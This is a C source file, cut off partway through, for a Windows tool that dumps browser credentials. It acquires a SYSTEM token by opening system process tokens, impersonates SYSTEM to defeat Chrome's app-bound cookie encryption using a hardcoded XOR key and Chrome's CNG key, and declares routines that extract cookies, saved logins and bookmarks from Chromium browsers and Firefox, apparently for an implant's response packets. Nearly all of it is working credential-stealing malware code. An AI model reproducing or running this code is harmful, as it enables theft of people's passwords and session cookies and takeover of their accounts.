#undef UNICODE
#include <windows.h>
#include <shlobj.h>
#include <bcrypt.h>
#include <ncrypt.h>
#include <wincrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <tlhelp32.h>
#include <winternl.h>
#include "sqlite3.h"
#include "browser_dump.h"
#include "paquete.h"
#include "analizador.h"
#include "debug.h"
#include "tokens.h"

#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ncrypt.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "shell32.lib")

// Privilege constants
#ifndef SE_DEBUG_PRIVILEGE
#define SE_DEBUG_PRIVILEGE (20L)
#endif
#ifndef SE_DEBUG_NAME
#define SE_DEBUG_NAME "SeDebugPrivilege"
#endif

// Typedef for RtlAcquirePrivilege
typedef NTSTATUS (NTAPI *PRTL_ACQUIRE_PRIVILEGE)(
    PULONG Privilege,
    ULONG NumPriv,
    ULONG Flags,
    PVOID* ReturnedState
);


// Constants
#define COOKIE 0
#define SAVED_LOGIN 1
#define MAX_PATH_LEN 512
#define AES_KEY_SIZE 32
#define AES_KEY_BLOB_SIZE (sizeof(BCRYPT_KEY_DATA_BLOB_HEADER) + AES_KEY_SIZE)

CONST UCHAR SecretVersion[] = { 'v', '2', '0' };
CONST UCHAR SecretVersionV1[] = { 'v', '1', '0' };
CONST UCHAR XorKey[] = { 0xCC, 0xF8, 0xA1, 0xCE, 0xC5, 0x66, 0x05, 0xB8, 0x51, 0x75, 0x52, 0xBA, 0x1A, 0x2D, 0x06, 0x1C, 0x03, 0xA2, 0x9E, 0x90, 0x27, 0x4F, 0xB2, 0xFC, 0xF5, 0x9B, 0xA4, 0xB7, 0x5C, 0x39, 0x23, 0x90 };
CONST CHAR kCryptAppBoundKeyPrefix[] = { 'A', 'P', 'P', 'B' };

// Forward declarations
static BOOLEAN DecryptUsingChromeKey(PUCHAR Ciphertext);
static BOOLEAN Aes256GcmDecrypt(PUCHAR Key, ULONG KeySize, PUCHAR Nonce, ULONG NonceSize, PUCHAR Tag, ULONG TagSize, PUCHAR Ciphertext, ULONG CiphertextLength);
static BOOLEAN DecryptAppBoundKey(PUCHAR AppBoundKey, ULONG AppBoundKeySize, PUCHAR DecryptedKey);
static BOOLEAN ExtractAppBoundKey(PSTR LocalState, PUCHAR DecryptedKey);
static ULONG GetProcessPid(LPCWSTR ProcessName);
static HANDLE OpenProcessTokenByName(LPCWSTR ProcessName);
static HANDLE GetSystemToken(void);
static PUCHAR ReadFileContentsW(PWCHAR FileName, PULONG Size);
static PUCHAR Base64Decode(PSTR EncodedBuffer, ULONG EncodedBufferSize, PULONG DecodedBufferSize);
static VOID DecryptChromiumSecret(PUCHAR AppBoundKey, UCHAR Type, PUCHAR Data, ULONG DataSize, PCHAR* decryptedValue);
static BOOLEAN CopyDatabaseToTemp(PWCHAR SourcePath, PCHAR TempPath, ULONG TempPathSize);
static VOID DumpChromiumBrowser(PCHAR browserName, PCHAR browserPath, PPaquete respuesta, PPaquete salida);
static VOID DumpFirefoxBrowser(PPaquete respuesta, PPaquete salida);
// Firefox decryption functions
static ULONG ParseAsn1Length(PUCHAR* Buffer);
static BOOLEAN ParseAsn1Type(PUCHAR* Buffer, UCHAR Type, BOOLEAN SkipTheData, PULONG DataSize);
static VOID ExtractAsn1LoginData(PUCHAR Buffer, PUCHAR* Ciphertext, PULONG CiphertextSize, PUCHAR* Iv);
static BOOLEAN DecryptMasterKey(PSTR MasterPassword, PUCHAR Buffer, PULONG BufferSize, PUCHAR GlobalSalt, ULONG GlobalSaltSize, PUCHAR MasterKey);
static BOOLEAN GetFirefoxMasterKey(PSTR MasterPassword, PUCHAR MasterKey);
static BOOLEAN Sha1Hash(PSTR MasterPassword, PUCHAR Buffer, ULONG BufferSize, PUCHAR HashValue);
static BOOLEAN DeriveKeyPbkdf2(PUCHAR Password, ULONG PasswordSize, PUCHAR Salt, ULONG SaltSize, ULONG IterationCount, PUCHAR DerivedKey);
static BOOLEAN Aes256CbcDecrypt(PUCHAR Key, PUCHAR Iv, PUCHAR Ciphertext, PULONG CiphertextLength);
static PSTR DecryptFirefoxLoginData(PSTR Data, PULONG DataSize, PUCHAR MasterKey);

// Structure to pass context to SQL callbacks
typedef struct {
    PPaquete respuesta;
    PPaquete salida;
    PUCHAR appBoundKey;
    PCHAR browserName;
    INT cookieCount;      // Count of cookies found
    INT bookmarkCount;    // Count of bookmarks found
    INT loginCount;       // Count of logins found
    BOOLEAN cookiesHeaderPrinted;  // Flag to track if cookies header was printed
    BOOLEAN bookmarksHeaderPrinted; // Flag to track if bookmarks header was printed
    BOOLEAN loginsHeaderPrinted;    // Flag to track if logins header was printed
    BOOLEAN profileHeaderPrinted;   // Flag to track if profile header was printed
    CHAR profileName[256];          // Profile name to print in header
} DumpContext;

/**
 * @brief Decrypt using Chrome's CNG key
 */
static BOOLEAN DecryptUsingChromeKey(PUCHAR Ciphertext) {
    NCRYPT_PROV_HANDLE ProviderHandle;
    NCRYPT_KEY_HANDLE KeyHandle;
    ULONG BytesDecrypted;
    SECURITY_STATUS Status;

    _err("DecryptUsingChromeKey: Starting CNG decryption");

    Status = NCryptOpenStorageProvider(&ProviderHandle, L"Microsoft Software Key Storage Provider", 0);
    if (Status != ERROR_SUCCESS) {
        _err("DecryptUsingChromeKey: Failed to open storage provider, Status=0x%08lX", Status);
        return FALSE;
    }
    _err("DecryptUsingChromeKey: Successfully opened storage provider");

    Status = NCryptOpenKey(ProviderHandle, &KeyHandle, L"Google Chromekey1", 0, 0);
    if (Status != ERROR_SUCCESS) {
        _err("DecryptUsingChromeKey: Failed to open Google Chromekey1, Status=0x%08lX", Status);
        NCryptFreeObject(ProviderHandle);
        return FALSE;
    }
    _err("DecryptUsingChromeKey: Successfully opened Google Chromekey1");

    Status = NCryptDecrypt(KeyHandle, Ciphertext, 32, 0, Ciphertext, 32, &BytesDecrypted, NCRYPT_SILENT_FLAG);
    NCryptFreeObject(KeyHandle);
    NCryptFreeObject(ProviderHandle);

    if (Status != ERROR_SUCCESS) {
        _err("DecryptUsingChromeKey: Failed to decrypt, Status=0x%08lX, BytesDecrypted=%lu", Status, BytesDecrypted);
        return FALSE;
    }
    
    _err("DecryptUsingChromeKey: Successfully decrypted %lu bytes", BytesDecrypted);
    return TRUE;
}

/**
 * @brief AES-256-GCM decryption
 */
static BOOLEAN Aes256GcmDecrypt(PUCHAR Key, ULONG KeySize, PUCHAR Nonce, ULONG NonceSize, PUCHAR Tag, ULONG TagSize, PUCHAR Ciphertext, ULONG CiphertextLength) {
    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO CipherInfo;
    BCRYPT_ALG_HANDLE AlgorithmHandle;
    BCRYPT_KEY_HANDLE KeyHandle = 0;
    UCHAR Buffer[AES_KEY_BLOB_SIZE];
    BCRYPT_KEY_DATA_BLOB_HEADER* KeyBlob;
    NTSTATUS Status;

    Status = BCryptOpenAlgorithmProvider(&AlgorithmHandle, BCRYPT_AES_ALGORITHM, 0, 0);
    if (!BCRYPT_SUCCESS(Status)) {
        return FALSE;
    }

    do {
        Status = BCryptSetProperty(AlgorithmHandle, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
        if (!BCRYPT_SUCCESS(Status)) break;

        KeyBlob = (BCRYPT_KEY_DATA_BLOB_HEADER*)Buffer;
        KeyBlob->dwMagic = BCRYPT_KEY_DATA_BLOB_MAGIC;
        KeyBlob->dwVersion = 1;
        KeyBlob->cbKeyData = KeySize;
        RtlCopyMemory(Buffer + sizeof(BCRYPT_KEY_DATA_BLOB_HEADER), Key, KeySize);

        Status = BCryptImportKey(AlgorithmHandle, 0, BCRYPT_KEY_DATA_BLOB, &KeyHandle, 0, 0, Buffer, sizeof(Buffer), 0);
        if (!BCRYPT_SUCCESS(Status)) break;

        BCRYPT_INIT_AUTH_MODE_INFO(CipherInfo);
        CipherInfo.pbNonce = Nonce;
        CipherInfo.cbNonce = NonceSize;
        CipherInfo.pbTag = Tag;
        CipherInfo.cbTag = TagSize;

        Status = BCryptDecrypt(KeyHandle, Ciphertext, CiphertextLength, &CipherInfo, 0, 0, Ciphertext, CiphertextLength, &CiphertextLength, 0);
    } while (FALSE);

    if (KeyHandle != 0) {
        BCryptDestroyKey(KeyHandle);
    }
    BCryptCloseAlgorithmProvider(AlgorithmHandle, 0);
    return BCRYPT_SUCCESS(Status);
}

/**
 * @brief Decrypt app-bound key
 */
static BOOLEAN DecryptAppBoundKey(PUCHAR AppBoundKey, ULONG AppBoundKeySize, PUCHAR DecryptedKey) {
    DATA_BLOB EncryptedKey;
    DATA_BLOB UserKey;
    DATA_BLOB Key = { 0 };
    PUCHAR AesKey, Nonce, Ciphertext, Tag;
    BOOLEAN Result;
    HANDLE SystemToken;

    _err("DecryptAppBoundKey: Starting, AppBoundKeySize=%lu", AppBoundKeySize);

    SystemToken = GetSystemToken();
    if (SystemToken == 0) {
        _err("DecryptAppBoundKey: Failed to get SYSTEM token");
        return FALSE;
    }
    _err("DecryptAppBoundKey: Successfully obtained SYSTEM token");

    do {
        // Decrypt the data as SYSTEM
        Result = ImpersonateLoggedOnUser(SystemToken);
        if (Result == FALSE) {
            _err("DecryptAppBoundKey: Failed to impersonate SYSTEM, GetLastError=%lu", GetLastError());
            break;
        }
        _err("DecryptAppBoundKey: Impersonated SYSTEM");

        EncryptedKey.pbData = AppBoundKey;
        EncryptedKey.cbData = AppBoundKeySize;
        Result = CryptUnprotectData(&EncryptedKey, 0, 0, 0, 0, 0, &UserKey);
        RevertToSelf();

        if (Result == FALSE) {
            _err("DecryptAppBoundKey: Failed to decrypt as SYSTEM, GetLastError=%lu", GetLastError());
            break;
        }
        _err("DecryptAppBoundKey: Successfully decrypted as SYSTEM, UserKey size=%lu", UserKey.cbData);

        // Decrypt the data as the user
        Result = CryptUnprotectData(&UserKey, 0, 0, 0, 0, 0, &Key);
        LocalFree(UserKey.pbData);
        if (Result == FALSE) {
            _err("DecryptAppBoundKey: Failed to decrypt as user, GetLastError=%lu", GetLastError());
            break;
        }
        _err("DecryptAppBoundKey: Successfully decrypted as user, Key size=%lu", Key.cbData);

        // Hex dump the entire Key buffer to understand the structure
        _err("DecryptAppBoundKey: ===== HEX DUMP OF KEY BUFFER =====");
        for (ULONG i = 0; i < Key.cbData && i < 200; i += 16) {
            CHAR hexLine[256];
            INT offset = 0;
            offset += sprintf(hexLine + offset, "  [%04lu] ", i);
            for (ULONG j = 0; j < 16 && (i + j) < Key.cbData; j++) {
                offset += sprintf(hexLine + offset, "%02X ", Key.pbData[i + j]);
            }
            _err("%s", hexLine);
        }
        _err("DecryptAppBoundKey: ===== END HEX DUMP =====");

        // Skip over the verification data and get the (encrypted) AES key used to encrypt the app-bound key
        // The reference code: AesKey = *(PULONG)Key.pbData + (Key.pbData + sizeof(ULONG)) + sizeof(ULONG) + 1;
        // In C pointer arithmetic: integer + pointer = pointer + integer
        // So: *(PULONG)Key.pbData + (Key.pbData + 4) + 4 + 1
        //   = (Key.pbData + 4) + *(PULONG)Key.pbData + 4 + 1
        //   = Key.pbData + 4 + *(PULONG)Key.pbData + 4 + 1
        //   = Key.pbData + *(PULONG)Key.pbData + 9
        ULONG FirstOffset = *(PULONG)Key.pbData;
        ULONG SecondOffset = *(PULONG)(Key.pbData + sizeof(ULONG));
        _err("DecryptAppBoundKey: First ULONG=%lu (0x%08X), Second ULONG=%lu (0x%08X)", FirstOffset, FirstOffset, SecondOffset, SecondOffset);
        
        // The first ULONG is the size of the verification data (path string)
        // Structure: [ULONG size][verification data (FirstOffset bytes)][1 byte][32-byte AES key][12-byte nonce][32-byte ciphertext][16-byte tag]
        // The reference code: AesKey = *(PULONG)Key.pbData + (Key.pbData + sizeof(ULONG)) + sizeof(ULONG) + 1;
        // This calculates: FirstOffset + (Key.pbData + 4) + 4 + 1 = Key.pbData + FirstOffset + 9
        
        // Calculate offsets exactly like reference code (pointer arithmetic)
        // Note: The reference code uses pointer arithmetic where *(PULONG)Key.pbData is added as an integer
        // This means: AesKey = Key.pbData + FirstOffset + sizeof(ULONG) + sizeof(ULONG) + 1
        ULONG VerificationDataSize = FirstOffset;
        ULONG AesKeyOffset = sizeof(ULONG) + VerificationDataSize + sizeof(ULONG) + 1;
        
        _err("DecryptAppBoundKey: Verification data size=%lu, calculated AesKey offset=%lu", VerificationDataSize, AesKeyOffset);
        
        // Check if we have enough buffer for the calculated offset
        if (AesKeyOffset + 32 > Key.cbData) {
            _err("DecryptAppBoundKey: Calculated AesKey offset (%lu) + 32 exceeds buffer size (%lu)", AesKeyOffset, Key.cbData);
            _err("DecryptAppBoundKey: Buffer structure might be different - trying alternative structure...");
            
            // Alternative: Maybe the structure is simpler - just [verification][AES key][nonce][ciphertext][tag]
            // Try: verification data ends, then directly AES key
            if (VerificationDataSize + 32 <= Key.cbData) {
                AesKeyOffset = sizeof(ULONG) + VerificationDataSize;
                _err("DecryptAppBoundKey: Trying alternative offset=%lu (after verification data)", AesKeyOffset);
            } else {
                _err("DecryptAppBoundKey: Alternative structure also doesn't fit");
                break;
            }
        }
        
        AesKey = Key.pbData + AesKeyOffset;
        Nonce = AesKey + 32;
        Ciphertext = Nonce + 12;
        Tag = Ciphertext + 32;
        
        // Log what we're actually reading from the buffer
        _err("DecryptAppBoundKey: Buffer content at AesKey offset:");
        for (ULONG i = 0; i < 32 && ((ULONG)(AesKey - Key.pbData) + i) < Key.cbData; i++) {
            if (i % 16 == 0) {
                _err("  [%04lu] ", (ULONG)(AesKey - Key.pbData) + i);
            }
            _err("%02X ", AesKey[i]);
            if ((i + 1) % 16 == 0) {
                _err("");
            }
        }
        _err("");
        
        _err("DecryptAppBoundKey: Extracted components - AesKey at offset %lu, Nonce at offset %lu, Ciphertext at offset %lu, Tag at offset %lu",
             (ULONG)(AesKey - Key.pbData), (ULONG)(Nonce - Key.pbData), (ULONG)(Ciphertext - Key.pbData), (ULONG)(Tag - Key.pbData));
        _err("DecryptAppBoundKey: Required buffer size=%lu bytes", 
             (ULONG)(Tag + 16 - Key.pbData));
        
        // Verify we have enough data for all components
        // The reference code doesn't validate buffer size, it just uses the data
        // But we should at least check that we have the minimum required data
        ULONG NonceOffset = (ULONG)(Nonce - Key.pbData);
        ULONG CiphertextOffset = (ULONG)(Ciphertext - Key.pbData);
        ULONG TagOffset = (ULONG)(Tag - Key.pbData);
        
        _err("DecryptAppBoundKey: Component offsets - AesKey=%lu, Nonce=%lu, Ciphertext=%lu, Tag=%lu", 
             AesKeyOffset, NonceOffset, CiphertextOffset, TagOffset);
        
        // The reference code doesn't validate buffer size - it just uses the data
        // However, we need to ensure we don't read beyond the buffer
        // But the reference code doesn't check, so maybe the buffer should always have all data
        // Let's proceed like the reference code does - just use the data without validation
        // If the buffer is too small, the decryption will fail, but at least we'll try
        _err("DecryptAppBoundKey: Proceeding with decryption (reference code doesn't validate buffer size)");

        // Decrypt the AES key using Chrome's CNG. We also need to be system to access it.
        Result = ImpersonateLoggedOnUser(SystemToken);
        if (Result == FALSE) {
            _err("DecryptAppBoundKey: Failed to impersonate SYSTEM for CNG decryption, GetLastError=%lu", GetLastError());
            break;
        }

        Result = DecryptUsingChromeKey(AesKey);
        RevertToSelf();
        if (Result == FALSE) {
            _err("DecryptAppBoundKey: Failed to decrypt AES key using Chrome CNG key");
            break;
        }
        _err("DecryptAppBoundKey: Successfully decrypted AES key using Chrome CNG");

        // XOR the AES key with the XorKey
        for (UCHAR i = 0; i < 32; i++) {
            AesKey[i] ^= XorKey[i];
        }
        _err("DecryptAppBoundKey: Applied XOR to AES key");

        // Use the decrypted AES key to decrypt the app-bound key
        // Check if we have enough buffer space for all components
        ULONG RequiredSize = (ULONG)(Tag + 16 - Key.pbData);
        if (Key.cbData < RequiredSize) {
            _err("DecryptAppBoundKey: Buffer too small - have %lu bytes, need %lu bytes", Key.cbData, RequiredSize);
            Result = FALSE;
            break;
        }
        
        // Verify we can read all components safely
        if ((ULONG)(AesKey - Key.pbData) + 32 > Key.cbData) {
            _err("DecryptAppBoundKey: AesKey extends beyond buffer (offset %lu + 32 > %lu)", 
                 (ULONG)(AesKey - Key.pbData), Key.cbData);
            Result = FALSE;
            break;
        }
        if ((ULONG)(Nonce - Key.pbData) + 12 > Key.cbData) {
            _err("DecryptAppBoundKey: Nonce extends beyond buffer (offset %lu + 12 > %lu)", 
                 (ULONG)(Nonce - Key.pbData), Key.cbData);
            Result = FALSE;
            break;
        }
        if ((ULONG)(Ciphertext - Key.pbData) + 32 > Key.cbData) {
            _err("DecryptAppBoundKey: Ciphertext extends beyond buffer (offset %lu + 32 > %lu)", 
                 (ULONG)(Ciphertext - Key.pbData), Key.cbData);
            Result = FALSE;
            break;
        }
        if ((ULONG)(Tag - Key.pbData) + 16 > Key.cbData) {
            _err("DecryptAppBoundKey: Tag extends beyond buffer (offset %lu + 16 > %lu)", 
                 (ULONG)(Tag - Key.pbData), Key.cbData);
            Result = FALSE;
            break;
        }
        
        Result = Aes256GcmDecrypt(AesKey, 32, Nonce, 12, Tag, 16, Ciphertext, 32);
        if (Result == TRUE) {
            RtlCopyMemory(DecryptedKey, Ciphertext, 32);
            _err("DecryptAppBoundKey: Successfully decrypted app-bound key using AES-256-GCM");
        } else {
            ULONG LastError = GetLastError();
            _err("DecryptAppBoundKey: Failed to decrypt app-bound key using AES-256-GCM, Status=0x%08lX", LastError);
        }
    } while (FALSE);

    if (Key.pbData != 0) {
        LocalFree(Key.pbData);
    }
    CloseHandle(SystemToken);
    return Result;
}

/**
 * @brief Extract app-bound key from Local State
 */
static BOOLEAN ExtractAppBoundKey(PSTR LocalState, PUCHAR DecryptedKey) {
    PSTR AppBoundKey;
    BOOLEAN Result;
    PUCHAR DecodedKey;
    ULONG KeySize;

    _err("ExtractAppBoundKey: Starting extraction from Local State (size=%lu bytes)", strlen(LocalState));
    
    // Look for "app_bound_encrypted_key" property in the JSON
    AppBoundKey = strstr(LocalState, "app_bound_encrypted_key");
    if (AppBoundKey == 0) {
        _err("ExtractAppBoundKey: Could not find 'app_bound_encrypted_key' in Local State");
        _err("ExtractAppBoundKey: Local State first 200 chars: %.200s", LocalState);
        _err("ExtractAppBoundKey: Searching for alternative key names...");
        // Try alternative names
        if (strstr(LocalState, "os_crypt")) {
            _err("ExtractAppBoundKey: Found 'os_crypt' in Local State (may indicate different encryption method)");
        }
        return FALSE;
    }
    _err("ExtractAppBoundKey: Found 'app_bound_encrypted_key' at offset %lu", (ULONG)(AppBoundKey - LocalState));

    // Skip over the "app_bound_encrypted_key" to get the base64 encoded key
    // sizeof("\"app_bound_encrypted_key\"") includes the null terminator, so we use it directly (like reference code)
    AppBoundKey += sizeof("\"app_bound_encrypted_key\"");
    _err("ExtractAppBoundKey: Skipped prefix, now at offset %lu", (ULONG)(AppBoundKey - LocalState));
    _err("ExtractAppBoundKey: Next 50 chars: %.50s", AppBoundKey);
    
    // Find the end of the base64 string (next quote)
    PCHAR KeyEnd = strchr(AppBoundKey, '"');
    if (KeyEnd == NULL) {
        _err("ExtractAppBoundKey: Could not find end quote for app_bound_encrypted_key value");
        return FALSE;
    }
    KeySize = (ULONG)(KeyEnd - AppBoundKey);
    _err("ExtractAppBoundKey: Base64 key size=%lu bytes", KeySize);
    
    if (KeySize == 0) {
        _err("ExtractAppBoundKey: Key size is 0");
        return FALSE;
    }

    // Base64 decode the key
    DecodedKey = Base64Decode(AppBoundKey, KeySize, &KeySize);
    if (DecodedKey == 0) {
        _err("ExtractAppBoundKey: Failed to base64 decode key, GetLastError=%lu", GetLastError());
        return FALSE;
    }
    _err("ExtractAppBoundKey: Base64 decoded successfully, decoded size=%lu bytes", KeySize);
    
    // Check if decoded key is large enough (should be at least sizeof(kCryptAppBoundKeyPrefix) + some data)
    if (KeySize < sizeof(kCryptAppBoundKeyPrefix)) {
        _err("ExtractAppBoundKey: Decoded key too small (%lu bytes), expected at least %lu bytes", KeySize, sizeof(kCryptAppBoundKeyPrefix));
        HeapFree(GetProcessHeap(), 0, DecodedKey);
        return FALSE;
    }
    
    // Verify the prefix
    if (memcmp(DecodedKey, kCryptAppBoundKeyPrefix, sizeof(kCryptAppBoundKeyPrefix)) != 0) {
        _err("ExtractAppBoundKey: Invalid prefix, expected 'APPB'");
        _err("ExtractAppBoundKey: First 4 bytes: %02X %02X %02X %02X", 
             DecodedKey[0], DecodedKey[1], DecodedKey[2], DecodedKey[3]);
        HeapFree(GetProcessHeap(), 0, DecodedKey);
        return FALSE;
    }
    _err("ExtractAppBoundKey: Verified prefix 'APPB'");

    // Decrypt the key (skip over the key's header "APPB")
    ULONG EncryptedKeySize = KeySize - sizeof(kCryptAppBoundKeyPrefix);
    _err("ExtractAppBoundKey: Calling DecryptAppBoundKey with encrypted key size=%lu", EncryptedKeySize);
    Result = DecryptAppBoundKey(DecodedKey + sizeof(kCryptAppBoundKeyPrefix), EncryptedKeySize, DecryptedKey);
    HeapFree(GetProcessHeap(), 0, DecodedKey);
    
    if (Result == FALSE) {
        _err("ExtractAppBoundKey: DecryptAppBoundKey returned FALSE");
    } else {
        _err("ExtractAppBoundKey: Successfully extracted and decrypted app-bound key");
    }
    
    return Result;
}

/**
 * @brief Get process PID by name
 */
static ULONG GetProcessPid(LPCWSTR ProcessName) {
    HANDLE Snapshot;
    ULONG ProcessId = 0;
    PROCESSENTRY32 Entry;
    CHAR ProcessNameA[MAX_PATH];
    CHAR EntryNameA[MAX_PATH];

    WideCharToMultiByte(CP_UTF8, 0, ProcessName, -1, ProcessNameA, sizeof(ProcessNameA), NULL, NULL);
    _err("GetProcessPid: Looking for process: %s", ProcessNameA);

    Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Snapshot == INVALID_HANDLE_VALUE) {
        _err("GetProcessPid: Failed to create snapshot, GetLastError=%lu", GetLastError());
        return 0;
    }
    _err("GetProcessPid: Successfully created process snapshot");

    Entry.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(Snapshot, &Entry) == FALSE) {
        _err("GetProcessPid: Failed to get first process, GetLastError=%lu", GetLastError());
        CloseHandle(Snapshot);
        return 0;
    }

    ULONG processCount = 0;
    BOOLEAN foundCsrss = FALSE;
    BOOLEAN foundWinlogon = FALSE;
    BOOLEAN foundServices = FALSE;
    
    do {
        processCount++;
        WideCharToMultiByte(CP_UTF8, 0, Entry.szExeFile, -1, EntryNameA, sizeof(EntryNameA), NULL, NULL);
        
        // Log some system processes for debugging
        if (_wcsicmp(Entry.szExeFile, L"csrss.exe") == 0) {
            foundCsrss = TRUE;
            _err("GetProcessPid: Found csrss.exe with PID=%lu", Entry.th32ProcessID);
        }
        if (_wcsicmp(Entry.szExeFile, L"winlogon.exe") == 0) {
            foundWinlogon = TRUE;
        }
        if (_wcsicmp(Entry.szExeFile, L"services.exe") == 0) {
            foundServices = TRUE;
        }
        
        // Use case-insensitive comparison
        if (_wcsicmp(Entry.szExeFile, ProcessName) == 0) {
            ProcessId = Entry.th32ProcessID;
            _err("GetProcessPid: Found process %s with PID=%lu (checked %lu processes)", EntryNameA, ProcessId, processCount);
            break;
        }
    } while (Process32Next(Snapshot, &Entry));

    if (ProcessId == 0) {
        _err("GetProcessPid: Process %s not found (checked %lu processes)", ProcessNameA, processCount);
        _err("GetProcessPid: System processes found: csrss.exe=%s, winlogon.exe=%s, services.exe=%s", 
             foundCsrss ? "YES" : "NO", foundWinlogon ? "YES" : "NO", foundServices ? "YES" : "NO");
    }

    CloseHandle(Snapshot);
    return ProcessId;
}

/**
 * @brief Check if token belongs to SYSTEM user
 */
static BOOLEAN IsSystemToken(HANDLE hToken) {
    TOKEN_USER* pTokenUser = NULL;
    DWORD dwSize = 0;
    BOOLEAN Result = FALSE;
    PSID SystemSid = NULL;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;

    // Get token user info size
    GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
    if (dwSize == 0) {
        return FALSE;
    }

    pTokenUser = (TOKEN_USER*)HeapAlloc(GetProcessHeap(), 0, dwSize);
    if (pTokenUser == NULL) {
        return FALSE;
    }

    if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
        // Create SYSTEM SID (S-1-5-18)
        if (AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &SystemSid)) {
            Result = EqualSid(pTokenUser->User.Sid, SystemSid);
            FreeSid(SystemSid);
        }
    }

    HeapFree(GetProcessHeap(), 0, pTokenUser);
    return Result;
}

/**
 * @brief Find a SYSTEM process by iterating all processes
 */
static HANDLE FindSystemProcessToken(void) {
    HANDLE Snapshot;
    HANDLE ProcessHandle = NULL;
    HANDLE TokenHandle = 0;
    PROCESSENTRY32 Entry;
    ULONG processCount = 0;
    ULONG systemProcessCount = 0;

    _err("FindSystemProcessToken: Starting to find SYSTEM process");

    Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Snapshot == INVALID_HANDLE_VALUE) {
        _err("FindSystemProcessToken: Failed to create snapshot, GetLastError=%lu", GetLastError());
        return 0;
    }

    Entry.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(Snapshot, &Entry) == FALSE) {
        _err("FindSystemProcessToken: Failed to get first process, GetLastError=%lu", GetLastError());
        CloseHandle(Snapshot);
        return 0;
    }

    do {
        processCount++;
        
        // Try to open the process
        ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, Entry.th32ProcessID);
        if (ProcessHandle == NULL) {
            ProcessHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, Entry.th32ProcessID);
        }

        if (ProcessHandle != NULL) {
            HANDLE hToken = NULL;
            if (OpenProcessToken(ProcessHandle, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) {
                if (IsSystemToken(hToken)) {
                    systemProcessCount++;
                    CHAR ProcessNameA[MAX_PATH];
                    WideCharToMultiByte(CP_UTF8, 0, Entry.szExeFile, -1, ProcessNameA, sizeof(ProcessNameA), NULL, NULL);
                    _err("FindSystemProcessToken: Found SYSTEM process: %s (PID=%lu)", ProcessNameA, Entry.th32ProcessID);
                    
                    // Found a SYSTEM process, return its token
                    CloseHandle(ProcessHandle);
                    CloseHandle(Snapshot);
                    return hToken;
                }
                CloseHandle(hToken);
            }
            CloseHandle(ProcessHandle);
        }
    } while (Process32Next(Snapshot, &Entry));

    _err("FindSystemProcessToken: Checked %lu processes, found %lu SYSTEM processes, but could not open token", processCount, systemProcessCount);
    CloseHandle(Snapshot);
    return 0;
}

/**
 * @brief Open process token by process name
 */
static HANDLE OpenProcessTokenByName(LPCWSTR ProcessName) {
    ULONG ProcessId;
    HANDLE ProcessHandle;
    HANDLE TokenHandle = 0;
    CHAR ProcessNameA[MAX_PATH];
    DWORD LastError;

    WideCharToMultiByte(CP_UTF8, 0, ProcessName, -1, ProcessNameA, sizeof(ProcessNameA), NULL, NULL);
    _err("OpenProcessTokenByName: Looking for process: %s", ProcessNameA);
    
    ProcessId = GetProcessPid(ProcessName);
    if (ProcessId == 0) {
        _err("OpenProcessTokenByName: Could not find process %s", ProcessNameA);
        return 0;
    }
    _err("OpenProcessTokenByName: Found process %s with PID=%lu", ProcessNameA, ProcessId);

    // Try with PROCESS_QUERY_INFORMATION first (requires SeDebugPrivilege for system processes)
    ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, ProcessId);
    LastError = GetLastError();
    if (ProcessHandle == INVALID_HANDLE_VALUE) {
        _err("OpenProcessTokenByName: Failed to open process with PROCESS_QUERY_INFORMATION, GetLastError=%lu, trying PROCESS_QUERY_LIMITED_INFORMATION...", LastError);
        // Try with PROCESS_QUERY_LIMITED_INFORMATION (doesn't require SeDebugPrivilege)
        ProcessHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, ProcessId);
        if (ProcessHandle == INVALID_HANDLE_VALUE) {
            _err("OpenProcessTokenByName: Failed to open process %lu with PROCESS_QUERY_LIMITED_INFORMATION, GetLastError=%lu", ProcessId, GetLastError());
            return 0;
        }
        _err("OpenProcessTokenByName: Successfully opened process with PROCESS_QUERY_LIMITED_INFORMATION");
    } else {
        _err("OpenProcessTokenByName: Successfully opened process with PROCESS_QUERY_INFORMATION");
    }

    if (OpenProcessToken(ProcessHandle, TOKEN_QUERY | TOKEN_DUPLICATE, &TokenHandle) == FALSE) {
        _err("OpenProcessTokenByName: Failed to open process token, GetLastError=%lu", GetLastError());
        TokenHandle = 0;
    } else {
        _err("OpenProcessTokenByName: Successfully opened process token");
    }

    CloseHandle(ProcessHandle);
    return TokenHandle;
}

/**
 * @brief Check if process is running with elevated privileges
 */
static BOOLEAN IsProcessElevated(void) {
    HANDLE hToken = NULL;
    TOKEN_ELEVATION Elevation;
    DWORD dwSize;
    BOOLEAN Result = FALSE;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize)) {
            Result = Elevation.TokenIsElevated != 0;
        }
        CloseHandle(hToken);
    }
    return Result;
}

/**
 * @brief Get SYSTEM token
 * Exactly matches the reference code from Utilities.c
 * Note: This requires the process to run as administrator with SeDebugPrivilege
 */
static HANDLE GetSystemToken(void) {
    NTSTATUS Status;
    ULONG Privilege = SE_DEBUG_PRIVILEGE;
    PVOID State;
    HMODULE NtDll;
    PRTL_ACQUIRE_PRIVILEGE RtlAcquirePrivilege;
    HANDLE Token;
    BOOLEAN IsElevated;

